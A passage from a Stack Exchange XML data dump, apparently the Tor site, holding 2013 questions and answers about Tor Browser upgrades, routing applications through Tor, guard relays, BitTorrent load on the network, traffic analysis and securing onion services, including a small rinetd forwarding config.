projects that The Tor Project maintains.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="43" LastEditDate="2013-09-26T22:53:44.317" LastActivityDate="2013-09-26T22:53:44.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="50" PostTypeId="2" ParentId="46" CreationDate="2013-09-25T22:08:33.943" Score="2" Body="&lt;p&gt;Your best bet would probably be to configure the firewall to only allow Tor traffic through. I don't have experience with the firewall in mac or linux but in windows it seems possible. If you can't find firewall setup open Run (Windows Key + R) and type &lt;code&gt;WF.msc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems some things like Internet Explorer aren't in the allow list and are allowed by default, you may or may not be able to block them. Also, you can configure the system wide proxy settings and that should catch most programs (including internet explorer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use something like wireshark to check that it is working. Other option is to have a hardware firewall. I assume this is 10x easier on mac/linux and If someone else knows how to do it on mac/linux I also would like  to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, if you are really serious about privacy you shouldn't be using windows so this whole answer is probably useless.&lt;/p&gt;&#xA;" OwnerUserId="86" LastEditorUserId="923" LastEditDate="2014-06-29T13:15:14.167" LastActivityDate="2014-06-29T13:15:14.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="51" PostTypeId="2" ParentId="48" CreationDate="2013-09-25T22:08:53.687" Score="8" Body="&lt;p&gt;This isn't Firefox option per se, but consider clicking &lt;code&gt;Use new identity&lt;/code&gt; after every task you do using Tor.&#xA;This will ensure it looks like you are connecting to Tor for first time, and no one will be able to match your new connections to older ones.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-09-25T22:08:53.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="52" PostTypeId="1" AcceptedAnswerId="55" CreationDate="2013-09-25T22:14:20.363" Score="11" ViewCount="2237" Body="&lt;p&gt;How do I properly set up Chrome on my Mac OS X machine to run all traffic through the Tor network when the Tor network is running?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Chrome Version&lt;/strong&gt;: 29.0.1547.76 &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mac OS X Version&lt;/strong&gt;: 10.8.5 &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tor&lt;/strong&gt;: 0.2.3.25&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="87" LastEditorUserId="23" LastEditDate="2013-09-26T09:06:23.570" LastActivityDate="2015-11-07T08:05:09.523" Title="How can I use Chrome through Tor on OS X?" Tags="|chrome|mac|" AnswerCount="1" CommentCount="1" ClosedDate="2013-10-09T12:13:57.813" ContentLicense="CC BY-SA 3.0" />
  <row Id="53" PostTypeId="2" ParentId="7" CreationDate="2013-09-25T22:15:35.120" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://anonymous-proxy-servers.net/&quot; rel=&quot;nofollow&quot;&gt;JonDo&lt;/a&gt; has &lt;a href=&quot;https://anonymous-proxy-servers.net/en/help/services_tor.html&quot; rel=&quot;nofollow&quot;&gt;Tor support, but it is experimental.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-09-25T22:15:35.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="54" PostTypeId="1" AcceptedAnswerId="69" CreationDate="2013-09-25T22:18:19.553" Score="18" ViewCount="2072" Body="&lt;p&gt;I'm trying to use the Tor Browser Bundle (TBB) for everyday surfing. For convenience reasons I use bookmarks and sometimes install some addons. When a new version of the TBB comes out, I lose all of my bookmarks and addons. What is the best recommended way to upgrade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I tried to extract the new TBB file over my old files. This often led to errors and Firefox refused to start. Currently I export my bookmarks and import it into the new version.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="530" LastEditDate="2013-11-12T09:51:58.653" LastActivityDate="2014-07-04T19:02:33.403" Title="How can I switch from one Tor Browser Bundle version to another?" Tags="|tor-browser-bundle|firefox|update|" AnswerCount="2" CommentCount="2" ClosedDate="2016-09-10T18:31:18.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="55" PostTypeId="2" ParentId="52" CreationDate="2013-09-25T22:24:10.447" Score="13" Body="&lt;p&gt;This is &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBOtherBrowser&quot; rel=&quot;noreferrer&quot;&gt;recommended against by The Tor Project&lt;/a&gt;. And I quote their FAQ:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In short, using any browser besides Tor Browser with Tor is a really bad idea.&lt;/p&gt;&#xA;&lt;p&gt;Our efforts to work with the Chrome team to &lt;a href=&quot;https://blog.torproject.org/blog/google-chrome-incognito-mode-tor-and-fingerprinting&quot; rel=&quot;noreferrer&quot;&gt;add missing APIs&lt;/a&gt; were unsuccessful, unfortunately. Currently, it is impossible to use other browsers and get the same level of protections as when using the Tor Browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In theory, you could route all traffic over Tor using a (custom) &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;noreferrer&quot;&gt;Transparent Proxy&lt;/a&gt;, such as &lt;a href=&quot;https://www.whonix.org&quot; rel=&quot;noreferrer&quot;&gt;Whonix&lt;/a&gt; or &lt;a href=&quot;http://qubes-os.org/trac/wiki/UserDoc/TorVM&quot; rel=&quot;noreferrer&quot;&gt;Qubes OS TorVM&lt;/a&gt;, this would hide your IP, but would still be only pseudonymous rather than anonymous, because Tor Browser is currently the only browser keeping care of the protocol level leaks.&lt;/p&gt;&#xA;&lt;p&gt;At the moment, it won't work without some kind of Transparent Proxy, due to &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ImportantGoogleChromeBugs#ProxyBypassBugs&quot; rel=&quot;noreferrer&quot;&gt;proxy bypass bugs&lt;/a&gt; in Chrome. (Feel free to remove this, should the proxy bypass bugs be fixed some day.)&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-11-07T08:05:09.523" CommentCount="1" CommunityOwnedDate="2013-09-25T22:24:10.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="58" PostTypeId="1" AcceptedAnswerId="323" CreationDate="2013-09-25T22:39:31.620" Score="25" ViewCount="14638" Body="&lt;p&gt;There are some detailed instructions for setting up a Tor site at torproject.org&lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot;&gt;1&lt;/a&gt;. It seems that it would be most secure to use a dedicated machine for this task if possible. I've read elsewhere that &lt;code&gt;thttpd&lt;/code&gt; might be preferable to Apache and its likely more secure to go with a GNI/Linux over Windows.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on this? Is there a &quot;standard&quot; distro and/or web-server that would be best-suited for this task? Or is that merely a matter of personal preference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what are appropriate and effective security practices, both technical and operational? What can we learn from the recent compromises of Freedom Hosting (perhaps the largest .onion hosting provider) and the Silk Road? According to Wired&lt;a href=&quot;http://www.wired.com/threatlevel/2013/09/freedom-hosting-fbi/&quot;&gt;2&lt;/a&gt;, &quot;the FBI yesterday acknowledged that it secretly took control of Freedom Hosting last July&quot;. The article notes that &quot;[i]t’s not clear how the FBI took over the servers&quot;. However, the comment that &quot;the bureau was temporarily thwarted when Marques somehow regained access and changed the passwords&quot; is suggestive. As details come out in the trial, it would be prudent to identify relevant technical and/or operational failures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the Silk Road, it's clear from the Maryland complaint&lt;a href=&quot;https://ia601904.us.archive.org/1/items/gov.uscourts.mdd.238311/gov.uscourts.mdd.238311.4.0.pdf&quot;&gt;3&lt;/a&gt; that vulnerabilities in Tor were not instrumental in the site's compromise. Even so, did technical and/or operational failures contribute to the takedown, and how might they be corrected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As new hidden service sites fill these market niches, at least some of the underlying technical and/or operational improvements may become public. There is much to learn about doing this right.&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="100" LastEditDate="2013-10-09T20:18:18.767" LastActivityDate="2017-02-28T21:42:12.090" Title="Securely hosting a Tor hidden service/site" Tags="|onion-services|anonymity|security|freedom-hosting|silk-road|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="59" PostTypeId="2" ParentId="29" CreationDate="2013-09-25T23:02:46.347" Score="3" Body="&lt;p&gt;This answer isn't perfect yet, but still better than nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This answer mostly works for TBB 3.0 and above. (Currently the Alpha version of TBB.) Most of this solution is taken from Whonix's source code. It could be made to work with TBB 2.x (currently the stable version of TBB) as well, in that case get the modified Tor Browser start script (start-tor-browser) from Whonix 0.5.6 source code. (For TBB 2.x, see also &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/WebBrowsers&quot; rel=&quot;nofollow&quot;&gt;TorifyHOWTO/WebBrowsers&lt;/a&gt;.) You can ask questions in the comments and I will improve this answer, if I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is definitely doable and not rocket science. Also since TBB 3.0 works in Whonix out of the box. Download, [OpenPGP verification up to you], extract, run. No Tor over Tor. No modifications. (Because of environment variables and rinetd, see below.) So it might be useful to check out how it's done in Whonix. I try to summarize the relevant parts for you here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a file /etc/profile.d/20_torbrowser.sh.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;## Deactivate tor-launcher,                                                                                                                                                         &#xA;## a Vidalia replacement as browser extension,                                                                                                                                      &#xA;## to prevent running Tor over Tor.                                                                                                                                                 &#xA;## https://trac.torproject.org/projects/tor/ticket/6009                                                                                                                             &#xA;## https://gitweb.torproject.org/tor-launcher.git&#xA;export TOR_SKIP_LAUNCH=1&#xA;&#xA;## The following TOR_SOCKS_HOST and TOR_SOCKS_PORT variables&#xA;## do not work flawlessly, due to an upstream bug in Tor Button:&#xA;##    &quot;TOR_SOCKS_HOST, TOR_SOCKS_PORT regression&quot;&#xA;##    https://trac.torproject.org/projects/tor/ticket/8336&#xA;## (As an alternative,&#xA;##    /home/user/tor-browser_en-US/Data/profile/user.js&#xA;## could be used.)&#xA;#export TOR_SOCKS_HOST=&quot;192.168.0.10&quot;&#xA;#export TOR_SOCKS_PORT=&quot;9100&quot;&#xA;&#xA;## Something else to consider, but better don't use it, use proper stream isolation.&#xA;#export TOR_TRANSPROXY=1&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reboot, so the environment variables takes effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8336&quot; rel=&quot;nofollow&quot;&gt;bug&lt;/a&gt; changing Tor Browser's proxy settings with a script isn't as trivial as exporting the environment variables TOR_SOCKS_HOST and TOR_SOCKS_PORT. Either change the proxy settings in Tor Button (sorry, I don't know which IP/port the Qubes-Tor-Gateway is providing) or use rinetd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample config for rinetd (you have to adjust IP's and ports, i.e. connectaddress and connectport):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;##&#xA;## this is the configuration file for rinetd, the internet redirection server&#xA;##&#xA;## you may specify global allow and deny rules here&#xA;## only ip addresses are matched, hostnames cannot be specified here&#xA;## the wildcards you may use are * and ?&#xA;##&#xA;## allow 192.168.2.*&#xA;## deny 192.168.2.1?&#xA;&#xA;##&#xA;## forwarding rules come here&#xA;##&#xA;## you may specify allow and deny rules after a specific forwarding rule&#xA;## to apply to only that forwarding rule&#xA;##&#xA;## bindadress    bindport  connectaddress  connectport&#xA;&#xA;## SocksPorts&#xA;127.0.0.1        9050      192.168.0.10    9050&#xA;127.0.0.1        9150      192.168.0.10    9150&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor Button's New Identity feature won't work, because that requires access to Tor's control port. Unfiltered access to Tor's control port is recommended against, because the control port command &quot;getinfo address&quot; could leak your IP. Due to lack of control port access, you will also see a &quot;your browser is not configured to use Tor&quot; warning when Tor Browser starts, because it uses Tor's control port for its check. Those two things shouldn't matter much and could be fixed with something like &lt;a href=&quot;https://www.whonix.org/wiki/Dev/Control_Port_Filter_Proxy&quot; rel=&quot;nofollow&quot;&gt;Control Port Filter Proxy&lt;/a&gt;, but that's a different story.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2013-09-29T17:28:00.437" LastActivityDate="2013-09-29T17:28:00.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="60" PostTypeId="2" ParentId="54" CreationDate="2013-09-25T23:20:44.033" Score="7" Body="&lt;p&gt;Exporting your bookmarks and importing them into the new version is currently the easiest method for maintaining bookmarks between releases of the Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for installing additional addons, this is not recommended (or supported).&lt;/p&gt;&#xA;" OwnerUserId="91" LastActivityDate="2013-09-25T23:20:44.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="61" PostTypeId="2" ParentId="36" CreationDate="2013-09-25T23:48:54.350" Score="9" Body="&lt;p&gt;First, you have to distinguish between Deep Packet Inspection (DPI) and actual traffic analysis. DPI only looks at packet payload whereas traffic analysis looks at everything other than payload, e.g., packet lengths, bursts and timing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is well known that DPI can be used to detect Tor flows. Several countries such as China, Iran and Syria are doing that to detect and block Tor. When looking closely, Tor's TLS handshake looks slightly different from, say, a Firefox talking to an Apache web server. To make Tor resistant against DPI, &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot;&gt;pluggable transports&lt;/a&gt; were introduced a while ago. They are able to make Tor look like Skype, some sort of HTTP, or random bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traffic analysis, on the other hand, is a slightly different beast. Among other things, a Tor connection can be identified by only counting the amount of 586-byte packets (that's Tor's 512-byte cells plus header overhead). Tor connections exhibit a rather high amount of these packets. There are also pluggable transport protocols to obfuscate these characteristics but strong defence against traffic analysis is believed to be &lt;a href=&quot;http://www.ieee-security.org/TC/SP2012/papers/4681a332.pdf&quot;&gt;very expensive&lt;/a&gt;. So the current approach is to make traffic analysis less effective but not impossible. After all, traffic analysis can only give you a &lt;em&gt;probabilistic&lt;/em&gt; answer (I'm 40% sure, this is Tor) rather than a &lt;em&gt;deterministic&lt;/em&gt; one (I'm sure this is Tor because no other application uses such a handshake) as DPI can.&lt;/p&gt;&#xA;" OwnerUserId="42" LastEditorUserId="55" LastEditDate="2013-09-26T08:11:53.627" LastActivityDate="2013-09-26T08:11:53.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="62" PostTypeId="1" AcceptedAnswerId="63" CreationDate="2013-09-26T00:28:23.207" Score="15" ViewCount="1538" Body="&lt;p&gt;After some research, I found that there are mostly relay (middle) nodes, and less exit and entry nodes. But why? The connection from the client to the entry node is encrypted, so there should be no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it safe to run an entry and relay node, instead of a relay-only node? I am especially concerned about security, and legal considerations.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="100" LastEditDate="2014-06-29T07:32:50.460" LastActivityDate="2014-06-29T07:32:50.460" Title="Is it safe to run an entry node server?" Tags="|relays|security|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="63" PostTypeId="2" ParentId="62" CreationDate="2013-09-26T00:32:28.930" Score="13" Body="&lt;p&gt;Running a guard node (aka an entry node) is safe for the person running it. The reason there aren't as many of them is because there are certain criteria that must be met before your relay can be used as a guard node:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The relay needs to have first appeared longer ago than 12.5% of the relays, or 8 days ago, whichever is shorter.&lt;/li&gt;&#xA;&lt;li&gt;The relay needs to advertise at least the median bandwidth in the network, or 250KB/s, whichever is smaller.&lt;/li&gt;&#xA;&lt;li&gt;The relay needs to have at least the median weighted-fractional-uptime of relays in the network, or 98% WFU, whichever is smaller. (For WFU, the clock starts ticking when we first hear about the relay; we track the percentage of that time the relay has been up, discounting values by 95% every 12 hours.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;More information can be found on these &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot;&gt;blog&lt;/a&gt; &lt;a href=&quot;https://blog.torproject.org/blog/research-problem-better-guard-rotation-parameters&quot;&gt;posts&lt;/a&gt; or on the Tor Project &lt;a href=&quot;https://www.torproject.org/docs/faq#EntryGuards&quot;&gt;FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-09-26T12:04:06.410" LastActivityDate="2013-09-26T12:04:06.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="64" PostTypeId="1" AcceptedAnswerId="730" CreationDate="2013-09-26T01:05:25.873" Score="50" ViewCount="144887" Body="&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&quot;&gt;This blog post&lt;/a&gt; from a few years ago suggests that using BitTorrent services over Tor is a bad idea for multiple reasons. However, it also suggests some fixes to get over these problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is using a BitTorrent client over Tor safe? How do I set it up?&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorDisplayName="user5" LastEditDate="2014-03-01T18:02:46.077" LastActivityDate="2016-05-24T19:59:59.450" Title="How can BitTorrent traffic be anonymized with Tor?" Tags="|anonymity|bittorrent|" AnswerCount="7" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="65" PostTypeId="1" CreationDate="2013-09-26T01:09:00.657" Score="2" ViewCount="170" Body="&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow&quot;&gt;This blog post&lt;/a&gt; from a few years ago, suggests that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The first answer is &quot;don't run Bittorrent over Tor&quot;. We've been saying for years not to run Bittorrent over Tor, &lt;strong&gt;because the Tor network can't handle the load&lt;/strong&gt;; perhaps these attacks will convince more people to listen. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this true even now? Is torrent traffic too much for Tor networks to handle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be considered bad form to use a torrent client over Tor? &lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="71" LastEditDate="2014-01-29T00:36:50.407" LastActivityDate="2014-01-29T00:36:50.407" Title="How do torrent clients over Tor affect the network?" Tags="|bittorrent|" AnswerCount="0" CommentCount="10" ClosedDate="2013-09-26T15:33:39.177" ContentLicense="CC BY-SA 3.0" />
  <row Id="66" PostTypeId="5" CreationDate="2013-09-26T01:14:35.607" Score="0" Body="&lt;p&gt;Normally, Tor protects the anonymity of clients visiting a website or other internet service. However, it also provides a mechanism to protect the operator of a server. This is called an 'onion service'. Onion services are given a generated domain name in the &lt;code&gt;.onion&lt;/code&gt; pseudo-top-level domain and are only routable via the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;Onion services are most often used for web sites, but can be used for any TCP based internet service.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="88" LastEditDate="2022-05-29T20:08:23.343" LastActivityDate="2022-05-29T20:08:23.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="67" PostTypeId="4" CreationDate="2013-09-26T01:14:35.607" Score="0" Body="Questions relating to Tor Onion Services" OwnerDisplayName="user5" LastEditorUserId="88" LastEditDate="2022-05-29T20:08:23.343" LastActivityDate="2022-05-29T20:08:23.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="68" PostTypeId="2" ParentId="64" CreationDate="2013-09-26T01:16:09.137" Score="56" Body="&lt;p&gt;The blog post is still accurate. Please don't do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending your BitTorrent traffic through the Tor network would overload it even more. It isn't designed to handle such things -- the Tor network has much less capacity than it has users wanting to use it. And since it's zero-sum, every person trying to BitTorrent over Tor means many more people in Syria who can't get to their Facebook pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've even been exploring mechanisms for throttling &quot;loud&quot; users, to make it even less worthwhile to try to BitTorrent over Tor:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.torproject.org/blog/research-problem-adaptive-throttling-tor-clients-entry-guards&quot;&gt;Research problem: adaptive throttling of Tor clients by entry guards&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freehaven.net/anonbib/#throttling-sec12&quot;&gt;Throttling Tor Bandwidth Parasites&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9368&quot;&gt;Turn static throttling on in the live network&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That said, it should be fine to just fetch the torrent files themselves over Tor. That's even what the Pirate Browser folks are trying to do. And it could even be OK to send the tracker traffic over Tor. The trouble there is that it's a slippery slope, and so far everybody who has made a check-box in their torrent software for just tracker traffic also makes a check-box right next to it for the bulk traffic. Since we don't want to get into the business of writing more usable (and more Tor-friendly) BitTorrent software, it's simplest just to tell people not to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need alternatives, consider i2p, or &lt;code&gt;gnunet&lt;/code&gt;, or just getting a VPN somewhere.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="159" LastEditDate="2013-10-03T19:22:36.533" LastActivityDate="2013-10-03T19:22:36.533" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="69" PostTypeId="2" ParentId="54" CreationDate="2013-09-26T01:26:51.967" Score="11" Body="&lt;p&gt;The recommended way to upgrade, unfortunately, is to export your bookmarks et al, unpack the new TBB into a new directory, and import your bookmarks there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time it is safe to just unpack the new TBB over the old one, but every once in a while it will break things in a confusing way (for example, the last breakage changed the SocksPort and since Firefox caches the old proxy parameters, your new TBB would seem broken the first time you ran it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you're doing it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Steven points out, this approach also discards your old Tor datadirectory, including discarding your entry guards. If you upgrade to a new TBB every 6 weeks (the schedule that Mozilla puts out a new Firefox update), you will thus end up rotating your entry guards more often than is safe. So if you want, you should copy over your Data/Tor/ directory, or at least the Data/Tor/state file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the not-so-distant future, we're hoping to have the Firefox update mechanism working in TBB 3.x:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/4234&quot;&gt;https://trac.torproject.org/projects/tor/ticket/4234&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so hopefully things will get smoother over time (including letting you automatically keep your current Tor state file).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-26T19:37:30.430" LastActivityDate="2013-09-26T19:37:30.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="71" PostTypeId="2" ParentId="46" CreationDate="2013-09-26T03:10:22.107" Score="9" Body="&lt;p&gt;Tails might be your best bet&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Amnesic Incognito Live System or Tails is a Debian-based Linux&#xA;distribution aimed at preserving privacy and anonymity. It is the&#xA;next iteration of development on the previous Gentoo based Incognito&#xA;Linux distribution. All its outgoing connections are forced to go&#xA;through Tor, and direct (non-anonymous) connections are blocked.&#xA;The system is designed to be booted as a live CD or USB, and leaves no&#xA;trace on the machine unless explicitly told to do so. The Tor Project&#xA;has provided most of the financial support for development.&#xA;(&lt;a href=&quot;https://en.wikipedia.org/wiki/The_Amnesic_Incognito_Live_System&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It would be best if you could run it on a spar computer. If you need it to run in a virtual machine you can disable DHCP on your host machine and bridge your network card to your VM.&lt;/p&gt;&#xA;" OwnerUserId="102" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-09-26T03:10:22.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="72" PostTypeId="2" ParentId="58" CreationDate="2013-09-26T03:36:03.123" Score="5" Body="&lt;p&gt;When running a hidden service the same precautions should be taken if you were running it over standard TCP/IP. Assuming the service is configured correctly then the only added risk is the Tor client implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your resources you may want to setup a box only for the purpose of running the Tor client and pointing the service ports to another box running your service. Then block all traffic otherwise to and from that host by some means not controlled by the box running the service. (periodically reloading with an updated OS would be advised) If you don't have the ability to run two machines you could always virtualize that setup, something like &lt;a href=&quot;https://en.wikipedia.org/wiki/VMware_ESX&quot; rel=&quot;nofollow&quot;&gt;ESXi&lt;/a&gt; would be great for such a setup.&lt;/p&gt;&#xA;" OwnerUserId="102" LastEditorUserId="102" LastEditDate="2015-01-28T06:53:13.343" LastActivityDate="2015-01-28T06:53:13.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="73" PostTypeId="1" CreationDate="2013-09-26T05:33:53.510" Score="1" ViewCount="222" Body="&lt;p&gt;I am not sure how does Tor work, how safe is it as I heard that some relays are ran by bad people or government agencies.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2013-09-26T09:27:44.557" Title="How does Tor pass my traffic around and should I be worried about malicious relay operators?" Tags="|relays|circuit|https|" AnswerCount="2" CommentCount="3" ClosedDate="2013-09-26T09:33:33.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="74" PostTypeId="2" ParentId="73" CreationDate="2013-09-26T05:33:53.510" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how does Tor work&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you connect to the Tor network a Tor circuit is formed which consists of three relays (entry node, middle node and an exit node), Tor encrypts your traffic and passes it through its circuit then when your traffic reaches its destination node (outside of the Tor network) and the encryption is lifted off.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how safe is it as I heard that some relays are ran by bad people or government agencies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Will explain that through an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say you visit &lt;a href=&quot;https://twitter.com/&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/&lt;/a&gt; your traffic enters the Tor network then exits at Twitter's servers and the effects are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Twitter cannot know your real IP address or physical location.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your internet service provider will not know that you are using&#xA;Twitter, because to them you are communicating with the entry node&#xA;only.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your traffic within the Tor network is encrypted multiple times in order to&#xA;prevent any eavesdropping from relay operators. But when your traffic&#xA;leaves the Tor network and reaches its destination (Twitter's&#xA;servers) the encryption must be lifted off so that your request can&#xA;be understood by Twitter, this is why you should always use HTTPS,&#xA;because HTTPS will encrypt your traffic even after leaving Tor's&#xA;exit node protecting you from a bad exit that may try to read your&#xA;data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EFF made a nice &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;interactive web page&lt;/a&gt; that illustrates the usefulness of using Tor and HTTPS together.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="107" LastEditDate="2013-09-26T09:07:58.050" LastActivityDate="2013-09-26T09:07:58.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="75" PostTypeId="1" AcceptedAnswerId="80" CreationDate="2013-09-26T06:01:23.153" Score="19" ViewCount="16884" Body="&lt;p&gt;It is sometimes desirable to compile Tor from &lt;a href=&quot;https://git.torproject.org/tor.git&quot;&gt;source&lt;/a&gt;, and perhaps run an unreleased version (e.g., to test the latest changes, use new features unavailable in the latest release, etc.). What is the procedure for doing so?&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="100" LastEditDate="2014-08-04T20:52:58.057" LastActivityDate="2021-12-24T18:44:56.903" Title="How can I install Tor from the source code in the Git repository?" Tags="|source-code|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
